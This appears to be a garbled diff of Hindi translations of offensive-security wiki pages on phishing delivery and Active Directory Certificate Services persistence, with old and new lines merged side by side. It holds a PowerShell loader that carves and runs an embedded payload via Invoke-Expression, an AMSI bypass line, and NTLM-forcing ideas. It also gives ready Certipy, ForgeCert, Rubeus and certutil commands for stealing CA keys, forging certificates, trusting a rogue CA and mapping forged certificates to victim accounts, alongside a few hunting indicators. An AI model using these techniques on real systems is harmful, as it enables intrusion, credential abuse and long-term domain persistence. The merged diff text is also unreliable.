यह इसलिए करें क्योंकि आप **can't save macro's inside a `.docx`** और macro-enabled **`.docm`** एक्सटेंशन के बारे में एक **stigma** है (उदा. थंबनेल आइकन पर एक बड़ा `!` होता है और कुछ वेब/ईमेल गेटवे इन्हें पूरी तरह ब्लॉक कर देते हैं)। इसलिए, यह **legacy `.doc` extension is the best compromise**. ऐसा इसलिए करें क्योंकि आप **can't save macro's inside a `.docx`** और macro-enabled **`.docm`** एक्सटेंशन के आसपास एक **stigma** है (उदा. थंबनेल आइकन पर बड़ा `!` होता है और कुछ वेब/ईमेल गेटवे इन्हें पूरी तरह ब्लॉक कर देते हैं)। इसलिए, यह **legacy `.doc` extension सबसे अच्छा compromise** है।
#### Malicious Macros Generators #### Malicious Macros जनरेटर
- MacOS - MacOS
- [**macphish**](https://github.com/cldrn/macphish) - [**macphish**](https://github.com/cldrn/macphish)
- [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator) - [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
## HTA Files ## HTA फाइलें
An HTA is a Windows program that **combines HTML and scripting languages (such as VBScript and JScript)**. यह user interface उत्पन्न करता है और एक "fully trusted" application के रूप में निष्पादित होता है, ब्राउज़र की सुरक्षा मॉडल की सीमाओं के बिना HTA एक Windows प्रोग्राम है जो **HTML और scripting languages (such as VBScript and JScript)** को मिलाता है। यह यूजर इंटरफ़ेस जनरेट करता है और ब्राउज़र की सुरक्षा मॉडल की बाधाओं के बिना "fully trusted" एप्लिकेशन के रूप में execute होता है
HTA को **`mshta.exe`** का उपयोग करके चलाया जाता है, जो आम तौर पर **Internet Explorer** के साथ **installed** होता है, जिससे **`mshta` dependant on IE** बनता है। इसलिए यदि इसे अनइंस्टॉल कर दिया गया है, तो HTAs निष्पादित नहीं हो पाएंगे। HTA को **`mshta.exe`** का उपयोग करके execute किया जाता है, जो आमतौर पर **Internet Explorer** के साथ **installed** होता है, जिससे **`mshta` dependant on IE** बन जाता है। इसलिए अगर यह uninstall किया गया है, तो HTAs execute नहीं कर पाएँगे।
```html ```html
<--! Basic HTA Execution --> <--! Basic HTA Execution -->
<html> <html>
@ -138,11 +138,11 @@ var_func
self.close self.close
</script> </script>
``` ```
## NTLM Authentication को मजबूर करना ## NTLM प्रमाणीकरण मजबूर करना
There are several ways to **force NTLM authentication "remotely"**, for example, you could add **invisible images** to emails or HTML that the user will access (even HTTP MitM?). Or send the victim the **address of files** that will **trigger** an **authentication** just for **opening the folder.** NTLM प्रमाणीकरण को "remotely" मजबूर करने के कई तरीके हैं, उदाहरण के लिए, आप ईमेल या HTML में **अदृश्य छवियाँ** जोड़ सकते हैं जिन्हें उपयोगकर्ता एक्सेस करेगा (यहाँ तक कि HTTP MitM?). या शिकार को उन फ़ाइलों का **address** भेजें जो सिर्फ फ़ोल्डर खोलने भर से ही एक **authentication** को **trigger** कर दें।
**इन विचारों और अधिक को निम्नलिखित पृष्ठों में देखें:** **इन विचारों और और अधिक के लिए निम्न पृष्ठ देखें:**
{{#ref}} {{#ref}}
@ -156,24 +156,24 @@ There are several ways to **force NTLM authentication "remotely"**, for example,
### NTLM Relay ### NTLM Relay
ह न भूलें कि आप सिर्फ hash या authentication चुराने तक सीमित नहीं हैं, बल्कि **perform NTLM relay attacks** भी कर सकते हैं: ाद रखें कि आप सिर्फ hash या authentication चुरा ही नहीं सकते बल्कि **NTLM relay attacks** भी **perform** कर सकते हैं:
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) - [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) - [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
## LNK Loaders + ZIP-Embedded Payloads (fileless chain) ## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
Highly effective campaigns एक ZIP deliver करती हैं जिसमें दो legitimate decoy documents (PDF/DOCX) और एक malicious .lnk होता है. चाल यह है कि वास्तविक PowerShell loader ZIP के raw bytes में एक unique marker के बाद stored होता है, और .lnk उसे carve करके पूरी तरह memory में run कर देता है। बहुत प्रभावी अभियान एक ऐसा ZIP भेजते हैं जिसमें दो वैध भ्रामक दस्तावेज़ (PDF/DOCX) और एक दुष्ट .lnk शामिल होता है। चाल यह है कि वास्तविक PowerShell loader ZIP के raw bytes में एक unique marker के बाद संग्रहीत होता है, और .lnk उसे carve करके पूरी तरह memory में चलाता है।
Typical flow implemented by the .lnk PowerShell one-liner: .slnk PowerShell one-liner द्वारा लागू किया गया सामान्य प्रवाह:
1) सामान्य paths में original ZIP locate करें: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, और current working directory का parent. 1) मूल ZIP को सामान्य पथों में ढूँढें: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, और current working directory का parent
2) ZIP bytes पढ़ें और एक hardcoded marker (e.g., xFIQCV) खोजें. Marker के बाद जो कुछ भी है वह embedded PowerShell payload है. 2) ZIP bytes पढ़ें और एक hardcoded marker खोजें (उदा., xFIQCV)। marker के बाद जो कुछ भी है वही embedded PowerShell payload है।
3) ZIP को %ProgramData% में copy करें, वहां extract करें, और decoy .docx खोलें ताकि यह legitimate लगे. 3) ZIP को %ProgramData% में कॉपी करें, वहाँ extract करें, और वैध दिखने के लिए decoy .docx खोलें।
4) वर्तमान process के लिए AMSI bypass करें: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true 4) current process के लिए AMSI को बायपास करें: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
5) अगले stage को deobfuscate करें (उदा., सभी # characters हटाना) और इसे memory में execute करें. 5) अगले चरण का deobfuscate करें (उदा., सभी # वर्ण हटा दें) और उसे memory में execute करें।
Example PowerShell skeleton to carve and run the embedded stage: एंबेडेड स्टेज को carve और चलाने के लिए उदाहरण PowerShell ढांचा:
```powershell ```powershell
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV') $marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths = @( $paths = @(
@ -191,21 +191,30 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
Invoke-Expression $code Invoke-Expression $code
``` ```
नोट्स नोट्स
- Delivery अक्सर प्रतिष्ठित PaaS subdomains (उदा., *.herokuapp.com) का दुरुपयोग करता है और हो सकता है कि payloads को gate करे (IP/UA के आधार पर सुरक्षित ZIPs परोसे). - Delivery अक्सर प्रतिष्ठित PaaS सबडोमेन्स (e.g., *.herokuapp.com) का दुरुपयोग करता है और payloads को gate कर सकता है (IP/UA के आधार पर benign ZIPs सर्व करता है)।
- अगला चरण अक्सर base64/XOR shellcode को decrypt करता है और इसे Reflection.Emit + VirtualAlloc के माध्यम से execute करता है ताकि डिस्क पर निशान कम हों। - अगला चरण अक्सर base64/XOR shellcode डिक्रिप्ट करता है और इसे Reflection.Emit + VirtualAlloc के माध्यम से execute करता है ताकि डिस्क आर्टिफैक्ट्स कम हों।
समान चेन में प्रयुक्त Persistence Persistence used in the same chain
- COM TypeLib hijacking of the Microsoft Web Browser control ताकि IE/Explorer या कोई भी ऐप जो इसे embed करता है, payload को स्वचालित रूप से re-launch कर दे। यहां विवरण और ready-to-use commands देखें: - COM TypeLib hijacking of the Microsoft Web Browser control ताकि IE/Explorer या कोई भी app जो इसे embedding करता है payload को स्वतः पुनः लॉन्च कर दे। विवरण और ready-to-use commands यहाँ देखें:
{{#ref}} {{#ref}}
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md ../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
{{#endref}} {{#endref}}
Hunting/IOCs Hunting/IOCs
- ZIP फ़ाइलें जिनमें archive data के अंत में ASCII marker string (उदा., xFIQCV) जुड़ी होती हैं। - ऐसे ZIP files जिनमें ASCII marker string (e.g., xFIQCV) archive data के अंत में append की गई हो।
- .lnk जो parent/user फ़ोल्डरों को सूचीबद्ध करके ZIP का पता लगाती है और एक decoy document खोलती है। - .lnk जो parent/user folders को enumerate करता है ताकि ZIP locate कर सके और एक decoy document खोले।
- AMSI tampering [System.Management.Automation.AmsiUtils]::amsiInitFailed के माध्यम से। - AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- लंबी चलने वाली business threads जो trusted PaaS domains पर होस्ट किए गए links के साथ समाप्त होती हैं। - लंबे समय तक चलने वाले business threads जो trusted PaaS domains पर host किए गए links पर समाप्त होते हैं।
## NTLM हैश चुराने के लिए Windows फ़ाइलें
इस पेज को देखें: **places to steal NTLM creds**:
{{#ref}}
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
## संदर्भ ## संदर्भ

View File

@ -1,27 +1,27 @@
# AD CS डोमेन परस्थिरता # AD CS डोमेन परसिस्टेंस
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
**This is a summary of the domain persistence techniques shared in [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**. Check it for further details. **यह उन डोमेन परसिस्टेंस तकनीकों का सारांश है जो [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) में साझा की गई हैं। आगे के विवरण के लिए इसे देखें।**
## Forging Certificates with Stolen CA Certificates - DPERSIST1 ## Forging Certificates with Stolen CA Certificates - DPERSIST1
How can you tell that a certificate is a CA certificate? आप कैसे बता सकते हैं कि कोई प्रमाणपत्र CA प्रमाणपत्र है?
यह पता लगाया जा सकता है कि कोई प्रमाणपत्र CA प्रमाणपत्र है यदि निम्नलिखित शर्तें पूरी हों: यह निर्धारित किया जा सकता है कि कोई प्रमाणपत्र CA प्रमाणपत्र है यदि कई शर्तें पूरी होती हैं:
- प्रमाणपत्र CA सर्वर पर संग्रहीत होता है, और इसका private key मशीन के DPAPI द्वारा सुरक्षित रहता है, या यदि ऑपरेटिंग सिस्टम समर्थन करता है तो TPM/HSM जैसे हार्डवेयर द्वारा। - प्रमाणपत्र CA सर्वर पर संग्रहीत होता है, और इसकी private key मशीन के DPAPI द्वारा सुरक्षित होती है, या ऑपरेटिंग सिस्टम के समर्थन होने पर TPM/HSM जैसे हार्डवेयर द्वारा सुरक्षित होती है
- प्रमाणपत्र के Issuer और Subject फ़ील्ड दोनों CA के distinguished name से मेल खाते हैं। - प्रमाणपत्र के Issuer और Subject फ़ील्ड दोनों CA के distinguished name से मेल खाते हैं।
- "CA Version" extension केवल CA प्रमाणपत्रों में मौजूद होता है। - "CA Version" extension केवल CA प्रमाणपत्रों में मौजूद होता है।
- प्रमाणपत्र में Extended Key Usage (EKU) फ़ील्ड नहीं होते हैं। - प्रमाणपत्र में Extended Key Usage (EKU) फ़ील्ड्स नहीं होते हैं।
इस प्रमाणपत्र की private key निकालने के लिए, CA सर्वर पर built-in GUI के माध्यम से `certsrv.msc` टूल समर्थित तरीका है। फिर भी, यह प्रमाणपत्र सिस्टम में संग्रहीत अन्य प्रमाणपत्रों से अलग नहीं है; इसलिए निकालने के लिए [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) जैसे तरीके लागू किए जा सकते हैं इस प्रमाणपत्र की private key निकालने के लिए CA सर्वर पर `certsrv.msc` टूल बिल्ट-इन GUI के माध्यम से समर्थित विधि है। फिर भी, यह प्रमाणपत्र सिस्टम में संग्रहीत अन्य प्रमाणपत्रों से अलग नहीं है; इसलिए, [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) जैसे तरीकों को extraction के लिए लागू किया जा सकता है
यह प्रमाणपत्र और private key Certipy का उपयोग करके निम्नलिखित कमांड से भी प्राप्त किए जा सकते हैं: प्रमाणपत्र और private key को Certipy का उपयोग करके निम्नलिखित कमांड से भी प्राप्त किया जा सकता है:
```bash ```bash
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
``` ```
यदि .pfx फॉर्मैट में CA certificate और उसकी private key प्राप्त कर ली जाएं, तो [ForgeCert](https://github.com/GhostPack/ForgeCert) जैसे टूल्स का उपयोग वैध प्रमाणपत्र बनाने के लिए किया जा सकता है: जब `.pfx` फ़ॉर्मेट में CA प्रमाणपत्र और उसकी private key प्राप्त हो जाए, तो [ForgeCert](https://github.com/GhostPack/ForgeCert) जैसे टूल्स मान्य प्रमाणपत्र बनाने के लिए उपयोग किए जा सकते हैं:
```bash ```bash
# Generating a new certificate with ForgeCert # Generating a new certificate with ForgeCert
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123! ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
@ -36,19 +36,19 @@ Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /pa
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128 certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
``` ```
> [!WARNING] > [!WARNING]
> प्रमाण-पत्र जाली बनाने के लिए लक्षित उपयोगकर्ता Active Directory में सक्रिय और प्रमाणीकरण करने में सक्षम होना चाहिए, तभी प्रक्रिया सफल होगी। krbtgt जैसे विशेष खातों के लिए प्रमाण-पत्र बनाना प्रभावहीन है। > प्रमाणपत्र फोर्जरी का लक्ष्य बनने वाला user Active Directory में सक्रिय और प्रमाणीकृत होने में सक्षम होना चाहिए ताकि यह प्रक्रिया सफल हो सके। krbtgt जैसे विशेष खातों के लिए certificate फोर्ज करना प्रभावी नहीं है।
यह जाली प्रमाण-पत्र निर्दिष्ट समाप्ति तिथि तक और तब तक **valid** रहेगा जब तक कि रूट CA प्रमाण-पत्र **valid** है (आम तौर पर 5 से **10+ years**). यह **machines** के लिए भी वैध है, इसलिए **S4U2Self** के साथ संयोजन में, एक हमलावर CA प्रमाण-पत्र वैध रहने तक किसी भी डोमेन मशीन पर **कायमी मौजूदगी बनाए रख सकता है**.\ यह forged certificate निर्दिष्ट समाप्ति तिथि तक और तब तक **valid** रहेगा जब तक root CA certificate वैध है (आमतौर पर 5 से **10+ वर्षों**)। यह मशीनों के लिए भी **valid** होता है, इसलिए **S4U2Self** के साथ मिलाकर एक attacker उस CA certificate की वैधता तक किसी भी domain machine पर **persistence बनाए रख सकता है**.\
इसके अलावा, इस विधि से उत्पन्न **certificates generated** को CA के अवगत न होने के कारण **cannot be revoked** किया नहीं जा सकता इसके अलावा, इस विधि से बनाए गए **certificates generated** को **revoke** नहीं किया जा सकता क्योंकि CA उनके बारे में अवगत नहीं है
### Operating under Strong Certificate Mapping Enforcement (2025+) ### Operating under Strong Certificate Mapping Enforcement (2025+)
Since February 11, 2025 (after KB5014754 rollout), domain controllers default to **Full Enforcement** for certificate mappings. Practically this means your forged certificates must either: 11 February, 2025 से (KB5014754 rollout के बाद), domain controllers certificate mappings के लिए डिफ़ॉल्ट रूप से **Full Enforcement** पर हैं। व्यवहार में इसका मतलब है कि आपकी forged certificates में या तो:
- लक्ष्य खाते के साथ एक मजबूत बाइंडिंग होनी चाहिए (उदाहरण के लिए, the SID security extension), या - लक्षित account के साथ एक मजबूत बाइंडिंग हो (उदाहरण के लिए, SID security extension), या
- लक्ष्य ऑब्जेक्ट के `altSecurityIdentities` attribute पर एक मजबूत, स्पष्ट mapping के साथ जोड़ी गई हो - लक्ष्य object के `altSecurityIdentities` attribute पर एक मजबूत, स्पष्ट mapping के साथ पेयर किए गए हों
A reliable approach for persistence is to mint a forged certificate chained to the stolen Enterprise CA and then add a strong explicit mapping to the victim principal: पर्सिस्टेंस के लिए एक भरोसेमंद तरीका है कि चोरी किए गए Enterprise CA से chained एक forged certificate mint किया जाए और फिर victim principal पर एक मजबूत स्पष्ट mapping जोड़ी जाए:
```powershell ```powershell
# Example: map a forged cert to a target account using Issuer+Serial (strong mapping) # Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' # reverse DN format expected by AD $Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' # reverse DN format expected by AD
@ -56,15 +56,15 @@ $SerialR = '1200000000AC11000000002B' # serial in reversed byte
$Map = "X509:<I>$Issuer<SR>$SerialR" # strong mapping format $Map = "X509:<I>$Issuer<SR>$SerialR" # strong mapping format
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map} Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
``` ```
नोट्स Notes
- यदि आप ऐसे नकली प्रमाणपत्र बना सकते हैं जिनमें SID security extension शामिल हो, तो वे Full Enforcement के तहत भी स्वतः मैप हो जाएंगे। अन्यथा, स्पष्ट मजबूत मैपिंग्स को प्राथमिकता दें। अधिक जानकारी के लिए [account-persistence](account-persistence.md) देखें - यदि आप ऐसे forged certificates बना सकते हैं जिनमें `SID security extension` शामिल हो, तो वे Full Enforcement के अंतर्गत भी implicitly map हो जाएँगे। अन्यथा, explicit strong mappings को प्राथमिकता दें। अधिक जानकारी के लिए देखें [account-persistence](account-persistence.md)।
- यहाँ रद्दीकरण (revocation) defenders के लिए मददगार नहीं है: नकली प्रमाणपत्र CA database में अज्ञात होते हैं और इसलिए उन्हें revoked नहीं किया जा सकता। - Revocation यहाँ defenders की मदद नहीं करता: forged certificates CA database के लिए अज्ञात होते हैं और इसलिए उन्हें revoked नहीं किया जा सकता।
## Rogue CA Certificates पर भरोसा - DPERSIST2 ## Trusting Rogue CA Certificates - DPERSIST2
`NTAuthCertificates` object को परिभाषित किया गया है ताकि इसक`cacertificate` attribute के अंदर एक या अधिक **CA certificates** शामिल हों, जिन्हें Active Directory (AD) उपयोग करता है। सत्यापन प्रक्रिया **domain controller** द्वारा इस बात की जाँच करती है कि क्या `NTAuthCertificates` object में authenticating **certificate** के Issuer फ़ील्ड में निर्दिष्ट **CA specified** से मेल खाने वाली कोई एंट्री मौजूद है। यदि मेल मिल जाता है तो authentication आगे बढ़ती है। `NTAuthCertificates` object को परिभाषित किया गया है ताकि इसक`cacertificate` attribute में एक या अधिक **CA certificates** रखे जाएँ, जिन्हें Active Directory (AD) उपयोग करता है। **domain controller** द्वारा verification प्रक्रिया यह जाँचती है कि `NTAuthCertificates` object में कोई entry है जो authenticating **certificate** के Issuer field में निर्दिष्ट **CA** से मेल खाती हो। यदि मेल मिलता है तो authentication आगे बढ़ती है।
एक self-signed CA certificate को `NTAuthCertificates` object में attacker द्वारा जोड़ा जा सकता है, बशर्ते वे इस AD object पर नियंत्रण रखते हों। सामान्यतः केवल **Enterprise Admin** समूह के सदस्य, साथ ही **Domain Admins** या **Administrators**िन्हें **forest roots domain** में अधिकार दिए गए हैं, इस object को संशोधित करने की अनुमति रखते हैं। वे `NTAuthCertificates` object को `certutil.exe` का उपयोग करके `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA` कमांड से संपादित कर सकते हैं, या [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool) का उपयोग कर हैं एक attacker, यदि उनके पास इस AD object का control है, तो self-signed CA certificate को `NTAuthCertificates` object में जोड़ सकता है। सामान्यतः केवल **Enterprise Admin** group के सदस्य, साथ ही **Domain Admins** या **Administrators****forest roots domain** में हैं, को इस object को modify करने की अनुमति दी जाती है। वे `certutil.exe` का उपयोग करके `NTAuthCertificates` object को edit कर सकते हैं, कमांड `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA` के साथ, या [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool) का उपयोग करके।
Additional helpful commands for this technique: Additional helpful commands for this technique:
```bash ```bash
@ -77,31 +77,32 @@ certutil -enterprise -delstore NTAuth <Thumbprint>
certutil -dspublish -f C:\Temp\CERT.crt RootCA # CN=Certification Authorities certutil -dspublish -f C:\Temp\CERT.crt RootCA # CN=Certification Authorities
certutil -dspublish -f C:\Temp\CERT.crt CA # CN=AIA certutil -dspublish -f C:\Temp\CERT.crt CA # CN=AIA
``` ```
यह क्षमता विशेष रूप से तब प्रासंगिक होती है जब इसे पहले उल्लिखित विधि के साथ मिलाकर उपयोग किया जाए जिसमें ForgeCert के माध्यम से सर्टिफिकेट्स को डायनामिक रूप से जनरेट करना शामिल है यह क्षमता विशेष रूप से तब प्रासंगिक है जब इसे पहले वर्णित विधि के साथ मिलाकर उपयोग किया जाए जिसमें ForgeCert का उपयोग करके डायनेमिक रूप से certificates जनरेट किए जाते हैं
> Post-2025 mapping considerations: placing a rogue CA in NTAuth only establishes trust in the issuing CA. To use leaf certificates for logon when DCs are in **Full Enforcement**, the leaf must either contain the SID security extension or there must be a strong explicit mapping on the target object (for example, Issuer+Serial in `altSecurityIdentities`). See {{#ref}}account-persistence.md{{#endref}}. > Post-2025 के मैपिंग संबंधी विचार: NTAuth में एक rogue CA रखने से केवल जारी करने वाली CA में भरोसा स्थापित होता है। जब DCs **Full Enforcement** में हों और leaf certificates का उपयोग logon के लिए करना हो, तो leaf में या तो SID security extension होना चाहिए या target object पर एक मजबूत explicit mapping होना चाहिए (उदाहरण के लिए, Issuer+Serial in `altSecurityIdentities`). See {{#ref}}account-persistence.md{{#endref}}.
## दुर्भावनापूर्ण गलत कॉन्फ़िगरेशन - DPERSIST3 ## Malicious Misconfiguration - DPERSIST3
AD CS के कंपोनेंट्स के **security descriptor modifications** के माध्यम से **persistence** के अवसर प्रचुर मात्रा में हैं। "[Domain Escalation](domain-escalation.md)" सेक्शन में वर्णित संशोधनों को डोमेन में उन्नत पहुँच वाले हमलावर द्वारा दुरुभावनापूर्ण रूप से लागू किया जा सकता है। इसमें संवेदनशील कंपोनेंट्स में "control rights" (जैसे WriteOwner/WriteDACL/etc.) जोड़ना शामिल है, जैसे: AD CS कंपोनेंट्स के security descriptor संशोधनों के माध्यम से **persistence** के अवसर प्रचुर हैं। "[Domain Escalation](domain-escalation.md)" सेक्शन में वर्णित संशोधनों को elevated access वाले attacker द्वारा दुर्भावनापूर्ण रूप से लागू किया जा सकता है। इसमें संवेदनशील घटकों में "control rights" (उदा., WriteOwner/WriteDACL/etc.) जोड़ना शामिल है, जैसे:
- The **CA servers AD computer** object - The **CA servers AD computer** object
- The **CA servers RPC/DCOM server** - The **CA servers RPC/DCOM server**
- Any **descendant AD object or container** in **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** (for instance, the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, etc.) - Any **descendant AD object or container** in **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** (for instance, the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, etc.)
- **AD groups delegated rights to control AD CS** by default or by the organization (such as the built-in Cert Publishers group and any of its members) - **AD groups delegated rights to control AD CS** by default or by the organization (such as the built-in Cert Publishers group and any of its members)
दुरुभावनापूर्ण क्रियान्वयन का एक उदाहरण यह होगा कि एक हमलावर, जिसके पास डोमेन में **elevated permissions** हैं, डिफ़ॉल्ट **`User`** certificate template में **`WriteOwner`** permission जोड़ दे, और हमलावर उस अधिकार का principal हो। इसको शोषण करने के लिए, हमलावर पहले **`User`** टेम्पलेट की ownership खुद कर लेगा। इसके बाद टेम्पलेट पर **`mspki-certificate-name-flag`** को **1** पर सेट किया जाएगा ताकि **`ENROLLEE_SUPPLIES_SUBJECT`** सक्षम हो और request में Subject Alternative Name प्रदान करने की अनुमति मिले। इसके पश्चात, हमलावर उस **template** का उपयोग करके **enroll** कर सकता है, विकल्प के रूप में एक **domain administrator** नाम चुन कर, और प्राप्त सर्टिफिकेट का उपयोग DA के रूप में authentication के लिए कर सकता है। एक दुर्भावनापूर्ण कार्यान्वयन के उदाहरण में वह attacker शामिल होगा जिसे डोमेन में **elevated permissions** प्राप्त हैं, जो default **`User`** certificate template में **`WriteOwner`** permission जोड़ देगा, और attacker उस अधिकार का principal होगा। इसे भुनाने के लिए, attacker पहले **`User`** template का ownership अपने नाम कर लेगा। उसके बाद, template पर **`mspki-certificate-name-flag`** को **1** पर सेट किया जाएगा ताकि **`ENROLLEE_SUPPLIES_SUBJECT`** सक्षम हो, जिससे अनुरोध में Subject Alternative Name प्रदान करने की अनुमति मिलती है। इसके पश्चात्, attacker उस **template** का उपयोग करके **enroll** कर सकता है, alternative name के रूप में एक **domain administrator** नाम चुनकर, और प्राप्त सर्टिफिकेट का उपयोग DA के रूप में authentication के लिए कर सकता है।
लंबी अवधि की डोमेन persistence के लिए हमलावर जो व्यावहारिक सेटिंग्स लागू कर सकते हैं (पूर्ण विवरण और डिटेक्शन के लिए देखें {{#ref}}domain-escalation.md{{#endref}}): लंबी अवधि के domain persistence के लिए attackers द्वारा सेट किए जा सकने वाले व्यावहारिक विकल्प (पूर्ण विवरण और detection के लिए देखें {{#ref}}domain-escalation.md{{#endref}}):
- CA policy flags जो requesters से SAN की अनुमति देते हैं (उदा., `EDITF_ATTRIBUTESUBJECTALTNAME2` को सक्षम करना)। यह ESC1-जैसे पथों को एक्सप्लॉइटेबल रखता है। - CA policy flags जो requesters से SAN की अनुमति देते हैं (उदा., `EDITF_ATTRIBUTESUBJECTALTNAME2` सक्षम करना)। यह ESC1-जैसी paths को exploitable बनाए रखता है।
- Template DACL या सेटिंग्स जो authentication-capable issuance की अनुमति देती हैं (उदा., Client Authentication EKU जोड़ना, `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` को सक्षम करना)। - Template DACL या सेटिंग्स जो authentication-capable issuance की अनुमति देती हैं (उदा., Client Authentication EKU जोड़ना, `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` सक्षम करना)।
- यदि defenders cleanup का प्रयास करते हैं तो rogue issuers को लगातार पुनः-परिचय कराने के लिए `NTAuthCertificates` ऑब्जेक्ट या CA कंटेनरों को नियंत्रित करना - `NTAuthCertificates` object या CA containers को नियंत्रित करना ताकि defenders द्वारा cleanup का प्रयास करने पर rogue issuers को लगातार फिर से introduce किया जा सके
> [!TIP] > [!TIP]
> In hardened environments after KB5014754, pairing these misconfigurations with explicit strong mappings (`altSecurityIdentities`) ensures your issued or forged certificates remain usable even when DCs enforce strong mapping. > KB5014754 के बाद hardened environments में, इन misconfigurations को explicit strong mappings (`altSecurityIdentities`) के साथ जोड़ने से यह सुनिश्चित होता है कि आपके जारी किए गए या forged certificates उपयोग योग्य बने रहें यहाँ तक कि जब DCs strong mapping लागू करते हैं।
## संदर्भ
## References
- Microsoft KB5014754 Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16 - Microsoft KB5014754 Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
- Certipy Command Reference and forge/auth usage. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference - Certipy Command Reference and forge/auth usage. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference